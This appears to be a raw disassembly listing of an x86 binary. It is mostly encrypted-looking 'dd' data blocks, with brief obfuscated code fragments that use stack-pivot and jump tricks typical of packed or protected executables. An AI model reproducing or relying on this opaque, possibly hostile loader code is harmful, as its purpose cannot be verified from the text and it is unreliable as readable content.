		dd 95E679CEh, 66A48BBBh, 43149C39h, 0DE2FC375h,	3538AE8Dh
		dd 5E7B206Ah, 0C375E2EAh, 6C4F98E9h, 0D0FA9B51h, 2764424Fh
		dd 0FFF73607h, 5CFE41DAh, 0D12D7EC9h, 4A70BE81h, 71D61574h
		dd 0C692FE83h, 77B0D6F5h, 0E1DCE228h, 0F2729A0Ah, 0E8AA61h
		dd 353C0000h, 3F03236Ah, 68A08FEEh, 71440C46h, 0C375E28Fh
		dd 678BB84h, 0F1C9F15Eh, 6B535FB2h, 0E706A217h,	0CB54C375h
		dd 88DDF4C1h, 0DCE5126Eh, 4A40AFF3h, 0E6371664h, 5E60A887h
		dd 5C123C74h, 0AAE41AB5h, 6EBE854Bh, 8A2F7456h,	0C3752A26h
		dd 0B283EC3Dh, 0F89D536Ch, 3942C3D6h, 49D6C95Ch, 4D3E7D5Dh
		dd 820EC7Ch, 0A584683Fh, 84AD164Ch, 4631687Eh, 658B3675h
		dd 0ED8B2EA0h, 0E6CCB8A7h, 24123D95h, 250A3A16h, 0AFFEDCFCh
		dd 139614Ch, 2166F19Ch,	0B2290170h, 17Ah, 458BB3F9h, 428EACFEh
		dd 5C8CCCF5h, 58F0D4F7h, 59F7C7F3h, 3D653D74h, 3964331Dh
		dd 2764331Dh, 2A62C907h, 0EDE5C404h, 98AA60C8h,	463063C6h
		dd 7C566452h, 0E29F61B4h, 5594C375h, 0DE1D6E6Eh, 5A030512h
		dd 75E2897Fh, 68B98AC3h, 7A5220E0h, 0E52D7254h,	0AEFFDFCBh
		dd 34447050h, 4E326E93h, 3B1B327Dh, 71DE86F8h, 13357454h
		dd 5F9EEF33h, 0DA765870h, 84CECF1Dh, 5C2BF031h,	3AACFDC9h
		dd 9E4E2502h, 0BC19394Eh, 0C6924C34h, 4EADFECFh, 0CD113B04h
		dd 32143403h, 781DD3ECh, 0F8C0C956h, 4EE431BDh,	65CC84BFh
		dd 6E066714h, 72CE7025h, 0C569h, 30063200h, 3B1B3318h
		dd 39010E15h, 3D010817h, 3C1A0413h, 0BEF2812Ch,	0B9864A70h
		dd 0B9864A72h, 0B79C4C6Ch, 2A9FB195h, 0ABAB1DB8h, 7DA8C698h
		dd 2FEE020Dh, 119412A7h, 95BAC963h, 0FD4EADADh,	39064EACh
		dd 9AF3CFEFh, 7254745Bh, 775771DEh, 4829562Bh, 0D9B0FDD4h
		dd 0E34C74B1h, 55B48AAAh, 0C5512890h, 80DA2BF9h, 1D326601h
		dd 117CBF06h, 90BF1737h, 94589BBBh, 65B99D8Fh, 0CF13331Ah
		dd 909FB5E0h, 267756A4h, 9BA3EFD8h, 680CB47h, 2DAD3EB4h
		dd 0A7A98D9Fh, 527B50FFh, 818331ACh, 964B549h, 0FEDCE22Ah
		dd 19DDh, 30E1100h, 0AF98E73Bh,	297A53AFh, 0D359CCAh, 75E2C0A8h
		dd 0B3F2C3C3h, 66527D2Dh, 0EB3D0A50h, 8388F7CBh, 25105FA3h
		dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h
		dd 5602E43Ah, 0C6815E54h, 4, 8704EE83h,	525C2434h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 14895C24h, 0E6895624h,	4C681h
		dd 0EE830000h, 24348704h, 243C895Ch, 0AA66855h,	815D2779h
		dd 2E5CC8C5h, 1AB85023h, 518AD2Ch, 3A43320Bh, 3305D0F7h
		dd 51A5F31h, 5FA669A6h,	0F758C521h, 0ECED81D5h,	89F80DABh
		dd 8B545DEAh, 0C483243Ch, 0D1895104h, 8478F51h,	243C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		dw 6BA1h
		dd 0D71D5242h, 0A70BC7C4h, 0ED4A4AB8h, 50C50305h, 7F985C6h
		dd 684705E7h, 0CF381725h, 0C25B5FFh, 858D05E7h,	5E73917h
		dd 0D88BD0FFh, 17AD858Dh, 685005E7h, 104h, 85C6D3FFh, 5E707F9h
		dd 0F8BF6853h, 0B5FF8307h, 5E70C25h, 3917858Dh,	0D0FF05E7h
		dd 2DD28589h, 0BD8305EDh, 5E73301h, 0B840F00h, 8B000000h
		dd 0E702119Dh, 5E905h, 0BB0000h, 68000000h, 100h, 2DD6B58Dh
		dd 535605EDh, 5AD95FFh,	0B58D05E7h, 5ED2DD6h, 1E9F003h
		dd 4E000000h, 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh
		dd 0D6858D00h, 5005ED2Dh, 2DD295FFh, 0FF5805EDh, 0E9EDA7E0h
		dd 9F9370Fh, 54522C24h,	0AD5F6231h, 0E7EFF07Eh,	6D1A1377h
		dd 0D50F9D0Dh, 950FFF6Ch, 0BF11C771h, 38B29C75h, 0CA4707h
		dd 0DA0BA552h, 6E86Dh, 0DEDD0000h, 879F20A7h, 59FE8B66h
		dd 118DBFh, 0B5C18107h,	6600005Bh, 247FC081h, 68h, 8DBE6600h
		dd 0BF0F5B5Ch, 0B34FFF0h, 6ADBB866h, 146CBF5Ah,	0F28106B0h
		dd 21555F3h, 45EA81F5h,	667B6277h, 0B919E881h, 55BDC281h
		dd 66537BC9h, 8958FA8Bh, 800F1914h, 2, 83FCF98Bh, 4B4B01EBh
		dd 0D890BF4Bh, 0FB81531Dh, 0FFFFA4ECh, 13850Fh,	8B0F0000h
		dd 3, 0E9C18B66h, 23h, 540A26EEh, 0EE816664h, 96E93F74h
		dd 92FFFFFFh, 83ABD99Fh, 8FE935D5h, 7D935A2Ch, 601CD3F3h
		dd 0E887CAE5h, 0Eh, 0E1783763h,	0A526B3E9h, 0E9EB28E8h
		dd 0C880D3D5h, 0BA665BCCh, 0C3814D07h, 698Dh, 0CE9h, 0B1535D00h
		dd 0B8EB4987h, 7F77414Ch, 53F63360h, 8B5811B4h,	0F560330Ch
		dd 8161C88Ah, 4E6FFAE9h, 9E87Eh, 6150000h, 0B8035FEBh
		dd 57C579B4h, 58FAB70Fh, 4EF1815Fh, 8A53CFA9h, 0EF181F7h
		dd 666F386Dh, 89A709BFh, 870F330Ch, 8, 2830Fh, 0C68B0000h
		dd 0EE81CFB2h, 5CC575B1h, 10EA8166h, 0ADC6811Eh, 575CC575h
		dd 20FE815Ah, 0FFFFF97h, 0C85h,	13E900h, 3D900000h, 46D6809h
		dd 88E9F8D0h, 0A8FFFFFFh, 524B0DFCh, 0BC8D8D6Ch, 6A05ED4Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 7CE2C350h, 52D8D89h, 8D8905E7h, 5E72315h
		dd 0EE8h, 0FC8D7C00h, 30881A20h, 4D48052Ch, 89AB6B58h
		dd 0E71C2595h, 85C75A05h, 5E708B9h, 7010h, 15818531h, 85C705E7h
		dd 5E70C99h, 0
		dd 2E85B531h, 0B5FF05E7h, 5E71605h, 95FFC68Bh, 5E732CDh
		dd 27E9B58Bh, 6A05E7h, 1A1D95FFh, 0C08B05E7h, 0B4425EEBh
		dd 82379D5Bh, 0F03D010Dh, 6BD4B504h, 1C6792D7h,	0E3F30DB4h
		dd 0A94F9B87h, 0A85B4148h, 0D9DC8896h, 0EC2771FAh, 0D3329C64h
		dd 0C969D98Dh, 0AF911706h, 0AF008368h, 95E0C321h, 820BC4EBh
		dd 24469F99h, 7A730406h, 750A2184h, 850BFD91h, 1B161B2Eh
		dd 8E0801FEh, 0B99AAACBh, 0A68D4E4Bh, 1B9026EBh, 0AFEC33B6h
		dd 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h, 0A3D25D34h
		dd 6AEA2346h, 2	dup(0)
		dd 6EEE9h, 4FC36800h, 20E905EDh, 68FFFA2Fh, 5ED50CDh, 0FA2F16E9h
		dd 517068FFh, 0CE905EDh, 68FFFA2Fh, 5ED522Ah, 0FA2F02E9h
		dd 52E768FFh, 0F8E905EDh, 68FFFA2Eh, 5ED53AAh, 0FA2EEEE9h
		dd 0E8EEDAFFh, 0D3F3DB60h, 0D1E9D67Dh, 0D5F9D07Fh, 0D4E22C7Bh
		dd 461AA974h, 41EE6258h, 41EE625Ah, 5FE46444h, 0C2E7694Dh
		dd 0AC433580h, 5540C698h, 216A3565h, 50335308h,	499ADDC4h
		dd 96D91475h, 3Ch, 3F8114DCh, 34C37598h, 98B10792h, 61B2C375h
		dd 5285D510h, 3906547Ah, 0CEE8D1EFh, 54AAFBC3h,	9DA22475h
		dd 7455A989h, 1EE63B39h, 8BC375E2h, 0AFEDB82h, 9C375E2h
		dd 0A161EF38h, 0A72FEE02h, 5CE7A512h, 94192C9h,	0E09BE941h
		dd 6176439Ah, 92633C84h, 87E637C6h, 0DD132BBBh,	0CA7DF0A0h
		dd 39BB1C5Fh, 4FC692A5h, 7E16FA9Ch, 4E61F247h, 29Eh, 3B4EE418h
		dd 36FED0B5h, 0AA153C69h, 8EFE3355h, 492E0D5Eh,	0C95C9BECh
		dd 0E03198E9h, 8243F36Bh, 4E752AC6h, 15A0300Eh,	963C3A3h
		dd 350657A0h, 9987A59Dh, 28EA9636h, 76D981CDh, 5730734Bh
		dd 34A31EAh, 3E1E0916h,	0E13D0EFFh, 636B2AC6h, 8A38CBCBh
		dd 1756B750h, 90177A5Fh, 36C069Dh, 0FBA4E44Bh, 9DA76ADEh
		dd 54616916h, 169DA7ECh, 744596E7h, 795D4FD4h, 38F54884h
		dd 2BB0883Ah, 4D2h, 0BD93AB91h,	0BA96B496h, 0B494A4EDh
		dd 0B098BCEFh, 0B19FBFEBh, 151D556Ch, 111C2B25h, 0F1C2B25h
		dd 321A212Fh, 0C58D3C2Ch, 98AD08F0h, 0AE180BC6h, 72547A52h
		dd 0E2996F4Ah, 499AC375h, 757B146Ah, 0E9B3E90h,	2BC95D0Ch
		dd 0D39F76DAh, 0C0A3A981h, 0A4273222h, 19604652h, 589B7B33h
		dd 8CC6C725h, 393D6CC4h, 657EC7FEh, 0CDD4A106h,	0F0C1CCBBh
		dd 3D8316DEh, 36C8BBCDh, 1BCB86E5h, 0B52A8823h,	0BB129860h
		dd 704A9BC8h, 0A9845C32h, 0DD3FD1C0h, 84A04C57h, 19BF4F31h
		dd 2A7B4467h, 7657F8A0h, 823FAB5Fh, 0AEFFBB3Dh,	5D3A7950h
		dd 6D3004E0h, 2EB684D5h, 0C5240401h, 3BEFDDDh, 9E3321EDh
		dd 0D93BDBA2h, 716EC688h, 0F5F7EACBh, 0D1E4EECDh, 6333AE8Eh
		dd 28D0FACBh, 8EE35560h, 97E0734Bh, 0F2F7954h, 5527AC1h
		dd 8D288075h, 734B223Bh, 4397EF38h, 0AC168AF0h,	0A3950B99h
		dd 6A9C0152h, 8A148F33h, 3C82DAEh, 919F0000h, 8E9CABA5h
		dd 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h, 5F16BF91h, 113F1F0Bh
		dd 113F1F0Ah, 2F21010Ah, 2A260800h, 6EACF87h, 1DC698B2h
		dd 7D35B8EEh, 0E86028CDh, 38175682h, 0D7F0CE10h, 0AA527419h
		dd 75E8B90Fh, 0A69BAC3h, 26A09840h, 4F6999DDh, 10816645h
		dd 0DDC95C8Dh, 49A75C8Ch, 0FAB70244h, 0FFCC845Ch, 64B599B0h
		dd 0E2CBDD62h, 7A557DDAh, 0BAE7CA52h, 3619B182h, 7DF33208h
		dd 442C89B1h, 5FC8A18Fh, 0C8C02F0Eh, 0F1FF98E6h, 321FBA2Ch
		dd 27C28897h, 33C129D6h, 330F760Ch, 325A8h, 0C0F62200h
		dd 0CBEB2308h, 0C9F13E05h, 0CD113807h, 0CC0A3403h, 0AE02B11Ch
		dd 0A9F65A60h, 0A9F65A62h, 0A78C5C7Ch, 3A8F4165h, 0B3BB0DA8h
		dd 4DB8C698h, 226A351Dh, 0DAF2211Ch, 2897BCEAh,	70A8BD1Dh
		dd 0C52A38Ch, 36987D73h, 3C5AB0Eh, 8DDEC375h, 0D37C24AEh
		dd 0A786D4F8h, 0E99EE344h, 439BC95Dh, 0AF301B7Dh, 0ACBC8DE0h
		dd 155EBh, 39E43F00h, 0DCC5BA36h, 7E4F9EFCh, 0EAF44154h
		dd 90E1C95Ch, 0D2DC9839h, 0D319BD55h, 0C3D9832h, 89327910h
		dd 2D7262B8h, 0E897D6E6h, 6C490104h, 0C86B7265h, 4D91B887h
		dd 1A4C9D6Eh, 1D331335h, 4B301636h, 6B4656ADh, 6B90CB67h
		dd 78000002h, 79C60A4Ch, 74C30D2Dh, 76DD734Bh, 72D97757h
		dd 0CBDA7644h, 9CBAE4BCh, 9CB8E74Ch, 86A6E74Ch,	8BABFD4Ah
		dd 57626445h, 0C698B0E1h, 52C7B3E2h, 6906547Ah,	0EDC88283h
		dd 0C95D0C00h, 5B8554ECh, 4C85F2D6h, 48C7836Ah,	0CA298423h
		dd 0AD202879h, 0AD707CF1h, 5B239025h, 0BE10CCBBh, 0BB5B951Bh
		dd 351930C8h, 87CA1B64h, 3E8217DFh, 0BCC8BB5Bh,	418EF4ADh
		dd 0D122F3A2h, 6F263592h, 7F6D5999h, 58E1349Eh,	5553ED9Dh
		dd 6859750Dh, 634CF77Ah, 0A06C801Fh, 35D842EBh,	0EDD8173Bh
		dd 6BB495E9h, 75035663h, 774069F7h, 0F6D8F05Fh,	0FBDBCD5Ah
		dd 0D251F206h, 0B9223E0Ah, 1AEh, 814F8FB5h, 9EB290BAh
		dd 98B088B1h, 94B498B3h, 95BB838Fh, 0F9217908h,	0F5200FC1h
		dd 0EB200FC1h, 0EE3E05CBh, 21A100C8h, 98B02C94h, 82F427C6h
		dd 72547A52h, 1829333Ah, 0A2816F2Bh, 0E8AD435Ch, 1142D3E6h
		dd 3E0FC95Ch, 0EE027E12h, 9F12A72Fh, 54C96330h,	0ACFC430Bh
		dd 0AFF9468Ah, 0AC5D23F6h, 556C698h, 23C9E634h,	0D84D6862h
		dd 9DCC8E7Eh, 13351A4Ch, 0CE511D33h, 45A4FAC0h,	44010B66h
		dd 0AF7E8F71h, 6ABB84C8h, 90757B14h, 6B4E763Eh,	0C8AF7E85h
		dd 1FE1349Eh, 14C8AF7Eh, 0BEA0FACBh, 0BB89F1E6h, 2CB11655h
		dd 50C286D1h, 0BAF9DDCFh, 87A7E6C9h, 9C0152BBh,	7611FA92h
		dd 0EBD586A2h, 0F8000000h, 0F9468ACCh, 0F4438DADh, 0F65DF3CBh
		dd 0F259F7D7h, 4B5AF6C4h, 1C3A643Ch, 1C3867CCh,	62667CCh
		dd 0B2B7DCAh, 0D7E2E4C5h, 0C698B161h, 35473362h, 4E426F7Dh
		dd 84E7066Dh, 1E0CF3F9h, 0C5A9E638h, 56278092h,	49684D05h
		dd 4AC963DFh, 0CA95179h, 0C69BDEA4h, 330F6EBFh,	6EE2C4C4h
		dd 9BE7C7C1h, 0C2B603CBh, 38C69BDEh, 9BDE2B9Dh,	0EDF28C6h
		dd 0FBDBF23Dh, 826746A7h, 37936411h, 0CFEA92C0h, 0B7805179h
		dd 9BCA297Ah, 5B7BADFFh, 467EAEF5h, 31186644h, 7AAD9AE0h
		dd 0F070045Ah, 185B63AFh, 0BB844149h, 1A734F8Fh, 8BD4F4DBh
		dd 80515A2Eh, 351659B7h, 97E0C915h, 0E8230C46h,	519018BDh
		dd 4293B780h, 113E3271h, 986D1E37h, 72473C4Eh, 0EA6EE928h
		dd 750CBD6h, 0CA03Bh, 52EA0000h, 21B6979Dh, 1640A32Fh
		dd 66526F23h, 0EB3D0A50h, 8388F7CBh, 25105FA3h,	0B4E2CD11h
		dd 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h,	5102E43Ah
		dd 0C181E189h, 4, 4BA52h, 0D1290000h, 240C875Ah, 6579685Ch
		dd 4890000h, 0E2895224h, 4C281h, 0EA810000h, 4,	5C241487h
		dd 57241C89h, 84026968h, 47475F4Ch, 0F781D7F7h,	0B696B31Ch
		dd 685FF889h, 5EF5h, 83242489h,	5B042404h, 8904EC83h, 438F2404h
		dd 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 582434FFh
		dd 0E904C483h, 0FFFA283Fh, 0B86A0058h, 5ED54BAh, 0E0FFC503h
		dd 3AAC3ACCh, 704D1508h, 3667C293h, 781B392Bh, 603465BFh
		dd 5BFDBBADh, 9E8h, 5BB98A00h, 9284FDE0h, 88BB14A6h, 582847D2h
		dd 32C420BBh, 0D1C08156h, 0B9000058h, 1612h, 0E334D381h
		dd 30FF3270h, 0EE951h, 0C1D0000h, 0C7C5DB0Dh, 0FD09D8E2h
		dd 514F53F3h, 0BB665E5Fh, 0F681C49Eh, 59BF01AEh, 3C06BB66h
		dd 0DA59F681h, 10BB61F4h, 815B4674h, 0DBE1AF6h,	9CBB6676h
		dd 0E8308902h, 0Dh, 704EC4C0h, 796B965Dh, 0F293E102h, 5BF55726h
		dd 4E8835Bh, 8B665260h,	616059C6h, 1E98361h, 0FF98850Fh
		dd 8EBFFFFh, 0
		dd 14494A5Eh, 4DEE9h, 57426800h, 70E905EDh, 68FFFA27h
		dd 5ED57CEh, 0FA2766E9h, 592E68FFh, 5CE905EDh, 48FFFA27h
		dd 49D67A5Ch, 44D37D5Dh, 46ED635Bh, 42E96747h, 0DBEA6654h
		dd 8CCAF4ACh, 8CC8F75Ch, 0F6D6F75Ch, 0FBDBCD5Ah, 0A7725455h
		dd 0C698B4D1h, 35F7A3D2h, 1EFEBF7Dh, 0F231CF9Bh, 57AB939Fh
		dd 321E2068h, 0FCD6B735h, 125E2944h, 92DDDCF7h,	674694BAh
		dd 466B4E04h, 43C95DCBh, 0FCA42C72h, 9DEA57D9h,	20036CC6h
		dd 9DEAFD47h, 13F68C6h,	89D52606h, 744A70BEh, 47EBEF5Ch
		dd 0D2C6C08Bh, 61F18642h, 32C02h, 53E44400h, 0E5EDB03Ch
		dd 0E210983Dh, 0C213C375h, 71CEEBE3h, 66C95CEAh, 0F84BD01Ch
		dd 74ABF3D3h, 0E8E73081h, 3C27EAD7h, 0CACB21C5h, 3B643580h
		dd 0B798CA10h, 8774B797h, 545461A8h, 8FEDDB27h,	0E33F0859h
		dd 507B28C4h, 0C5F53D0Ch, 0F4790F9h, 37EFEF47h,	0C9D7036Eh
		dd 0C5AE0DEAh, 8AB2C06Eh, 6EF5592Fh, 2A095ACCh,	0F9460859h
		dd 26AC8FAFh, 9D63B67Eh, 96CC6EF5h, 10B6645h, 0CED9F723h
		dd 68B990EEh, 220D311Fh, 0D5ACCFF4h, 64046A9h, 0A580E935h
		dd 83785E4Eh, 736C34F7h, 0F6BA2139h, 10000002h,	113E1224h
		dd 6C3B1535h, 6E351B23h, 6A311F3Fh, 0E3321E3Ch,	0A4929CD4h
		dd 0A4909FA4h, 0AE8E9FA4h, 93B395A2h, 7F5A0CBDh, 0C698B589h
		dd 22F9B8Ah, 8FA72FEEh,	80BB1282h, 9A902D42h, 6E81E6CDh
		dd 0EC94DE1Dh, 0FE53AD54h, 0D41700BDh, 635DF073h, 26A8F9C9h
		dd 27291119h, 9E62B77Fh, 95C69859h, 1C0A6944h, 5C4B0937h
		dd 0A5F64560h, 2717022Dh, 9ABCECDBh, 0A1146A49h, 0C6981CD2h
		dd 0BA674741h, 6A3EB5F8h, 6A7B60F8h, 9C000002h,	9DAAA690h
		dd 98A7A989h, 9AA1AFAFh, 96BD93B3h, 17BE92A8h, 381E0860h
		dd 381C0B10h, 22020B10h, 2707012Eh, 0EBCE9829h,	0C698B505h
		dd 2BBEF1Eh, 8FA72FEEh,	0F22128A4h, 8CCAF452h, 0AF0A40A3h
		dd 0C963E4A4h, 0DB9EFCCDh, 0C69BD059h, 0A95A7C2Fh, 0FBDE8786h
		dd 0C69BD075h, 8EEC3D0Eh, 37A97CBFh, 0E461EB58h, 0AB32B44Ch
		dd 665B661h, 18CBDh, 0D350900h,	75E2C0A8h, 0D8F2C3C3h
		dd 75E20BFDh, 0FC3F08C3h, 4B97B791h, 0C60A2C7Ch, 88C2C329h
		dd 5CF0D02Dh, 0D2F4C5C9h, 0EC398F2Ah, 0E93AC692h, 73C1B48Ah
		dd 5C692ECh, 0C8584046h, 8461F27Ch, 20h, 2FEE02CEh, 0FEB912A7h
		dd 65B6C95Ch, 0FED0A419h, 0E5A6C692h, 7265FFE5h, 0D36761F2h
		dd 63000000h, 6547A52h,	81C9F139h, 6C4F6FBEh, 3F9A4212h
		dd 0C375E249h, 0D73A794Ah, 0C58DD1F5h, 0E230B81Dh, 0E233C375h
		dd 5A7CAC83h, 0E73323F6h, 0E626C375h, 7D7308C0h, 0BEE33698h
		dd 42C95F8Fh, 24F1A8FDh, 0C69C4F5Ch, 0F6350657h, 0C1E12A05h
		dd 913A34F9h, 4091910Dh, 0C1F9210Eh, 3A9F470Fh,	0C69C13B6h
		dd 0C8B0054Dh, 0CBC69C13h, 5846A9FAh, 0EECD1C62h, 72B99783h
		dd 0CD15744Ah, 75BB4002h, 1B80D10Bh, 6A3A3BA3h,	0AE6F54Dh
		dd 7C000001h, 7DCA0630h, 78C70929h, 7AC10F4Fh, 76DD7353h
		dd 0F7DE7248h, 98BEE8C0h, 98BCEBB0h, 82A2EBB0h,	87A7E14Eh
		dd 4B6E7849h, 0C698BBE5h, 52DB8FFEh, 0ADFA5664h, 2C735B7Bh
		dd 0A584DAFCh, 75DA8A46h, 0D8310D4Dh, 7A52CD9Dh, 2D7E5C4Ah
		dd 80A6E6D1h, 0F9DC8448h, 0C375E277h, 0F352A0Ch, 59E7737Eh
		dd 5A962D08h, 30C13BBh,	27F2F83Bh, 0C95D0D5Bh, 0A9919EA1h
		dd 26A8F94Ah, 0D5291119h, 123DB9F4h, 93BC1624h,	634A90A4h
		dd 17EDCC00h, 82C69269h, 9FA4A48Ah, 457AB93h, 6Dh, 2FEE0252h
		dd 56DAFFA7h, 6DC375E2h, 95211Ch, 0C96338C9h, 7C5847AAh
		dd 0E634040Dh, 1F68B687h, 1827290Dh, 6DD02E30h,	0D0F4A27Ch
		dd 0C6626467h, 0A468E0C6h, 338FA78Ch, 87E63418h, 150039BFh
		dd 8DD1FBD6h, 674746B1h, 0D2F4671Bh, 5E705676h,	0B9C88EE6h
		dd 0BE10C13Ch, 0E4B6951Bh, 1E5DAED4h, 634345D2h, 3BC1Fh
		dd 23EA0000h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh
		dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h,	3A18327Dh
		dd 895302E4h, 4C381E3h,	83000000h, 1C8704EBh, 14895C24h
		dd 4EC8124h, 89000000h,	8957240Ch, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 243C895Ch, 0ED561A68h, 240C8B05h, 4C481h
		dd 8B540000h, 0C483243Ch, 8B85004h, 5000000h, 4CF851D7h
		dd 0D72DF801h, 894CF851h, 34FF5808h, 0C4835F24h, 240C8B04h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FA229EE9h, 0B812ECFFh
		dd 5ED5A5Dh, 0E0FFC503h, 26DADC8Ch, 561E227Fh, 6964396Fh
		dd 661C381Eh, 1B3707D4h, 2CA2CFFAh, 33B0C92Eh, 223E0102h
		dd 6BD52FD0h, 72E30DA4h, 4CCE6ECBh, 5598E258h, 172688C9h
		dd 60A53A7h, 15A56BA5h,	6C63171Fh, 5C5793A5h, 7B788F87h
		dd 44C4D3BDh, 51CFA8F8h, 109A1839h, 140EECA8h, 0B13EE853h
		dd 0F532565Dh, 0F501EEACh, 0B1325655h, 0B13256ABh, 0E8AD6FD5h
		dd 0EB9C79EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132545Dh, 0B63581AEh, 0AB325257h, 0BA3246ABh
		dd 0D13263D5h, 0F93256E8h, 0F9325677h, 0E3F27DB8h, 0E362040Dh
		dd 0E96867A1h, 0D0526758h, 803D0EF1h, 0D0520485h, 0E36267E5h
		dd 0E968677Ah, 0E9680EE0h, 0D752360Dh, 0D0652D10h, 0BEC9C036h
		dd 0EB53369Ah, 0E16A0C8Dh, 0B1325103h, 18022575h, 0D46E9994h
		dd 386A0CCEh, 5DAD7282h, 580359E2h, 0B13256ADh,	0DCB6C1C3h
		dd 0E9686548h, 0B1A20E2Fh, 34CE56BAh, 0B0DA5D87h, 8CA6B108h
		dd 8832D565h, 441E89D5h, 3AAFAD5Fh, 0E9683733h,	0FCD621E5h
		dd 0F86245B8h, 0B44E3913h, 0E968DDF4h, 587C4EC7h, 0B13256ADh
		dd 1CF68183h, 0D0AF2508h, 54A20E2Fh, 0D0FA3D00h, 2C4611DBh
		dd 803DB5BCh, 0BEDB0407h, 0EA3256ABh, 8604872Dh, 62F05B4Eh
		dd 9E3C5F65h, 803D9386h, 0E968373Dh, 3BA20EF4h,	0E7434EACh
		dd 539F927Ch, 9F9B66A6h, 8B570A25h, 0E968CB9Eh,	803D0EDBh
		dd 0E968373Dh, 0B16A0EF4h, 76345657h, 0D2A04B5Fh, 176A0E8Fh
		dd 830FC20Dh, 0EB6A0CF6h, 0B1320EE2h, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B1DA36EAh, 0EB325675h, 0ECC8BC3Bh, 34BF53B0h, 0B4DEEA16h
		dd 0EA62D4DEh, 33BF5346h, 0B4DF9D7Bh, 0EA66D463h, 0FFDA5398h
		dd 593256B3h, 0B1325626h, 0EA72D469h, 0B13253BAh, 776056ABh
		dd 5635AF50h, 0E35A00EFh, 4EAEFECDh, 561F930Fh,	0D2B7DB58h
		dd 4E37BCD7h, 90B7DF87h, 0DB37B185h, 0A1323ED1h, 0F15A56EAh
		dd 0DB325578h, 0EBE2A9BAh, 82469656h, 0EA72D427h, 33BB53BAh
		dd 0B4DF0DEFh, 0B23F166Ch, 82CADDEAh, 0E398A5B5h, 0B15A52D0h
		dd 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B4D5788Ah, 25B0DF8Fh
		dd 0D037BBB1h, 0EA72D3FEh, 0D1F15357h, 0B8BBD49Ah, 0B1325349h
		dd 33F55617h, 0B4D5430Eh, 0B13246D5h, 3A52958Bh, 5C6916CFh
		dd 0B10DD5BFh, 0CEB17529h, 0BA4654BEh, 0B52229D4h, 76B158DFh
		dd 76D8BDC1h, 0B13346ADh, 43D95675h, 0B222117Dh, 5A32565Dh
		dd 0E4F13747h, 5952BADCh, 0B13256ABh, 5ED8D78Fh, 3A37BBB4h
		dd 5C69CEC7h, 0B977DDBFh, 33B150D4h, 0B4DF0D36h, 73FB3753h
		dd 595256AFh, 0B13256D5h, 0A2D8D7B0h, 3A37BB2Ah, 5C69C208h
		dd 29806D58h, 0C537BBF5h, 3A0CDD6Ch, 0FE845974h, 0B075A0D4h
		dd 0B236236Ah, 9A30BDACh, 3A711563h, 56210FD8h,	54BFDDABh
		dd 8A37B176h, 8A3B2473h, 3237210Ch, 78D9522Ch, 0B946994Eh
		dd 90D7EB33h, 6D953BAh,	595295CFh, 0B1325657h, 0DAD8D7F1h
		dd 3A37BB8Ah, 5C69C250h, 0B032EF70h, 710156BAh,	33B9FDAEh
		dd 0B4DF0D3Ah, 0EAAAD4DEh, 72535346h, 0B132BEB5h, 306856EAh
		dd 5C6DC39Fh, 48B790BFh, 0E737B15Ah, 0AE5F6FC6h, 7487A983h
		dd 3C37B186h, 5B4B3550h, 0E3E2A9EFh, 31323E25h,	0B15856BAh
		dd 0EA72E4A2h, 61CD5343h, 0B15A0C0Fh, 0DB32562Bh, 2580A9D5h
		dd 4E37BBB1h, 0E4F137A5h, 5952BA31h, 0B132565Dh, 52D8D7F4h
		dd 3A37BB08h, 29DA5EDEh, 0E43256D7h, 0EA62C415h, 8A6F5398h
		dd 5F475ACFh, 0B130D0B5h, 73FB37AEh, 3A67565Fh,	4DF6D547h
		dd 59610183h, 0B13256EAh, 0A6D8D72Fh, 3A37BBDAh, 0CCB95E28h
		dd 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh,	5C690678h
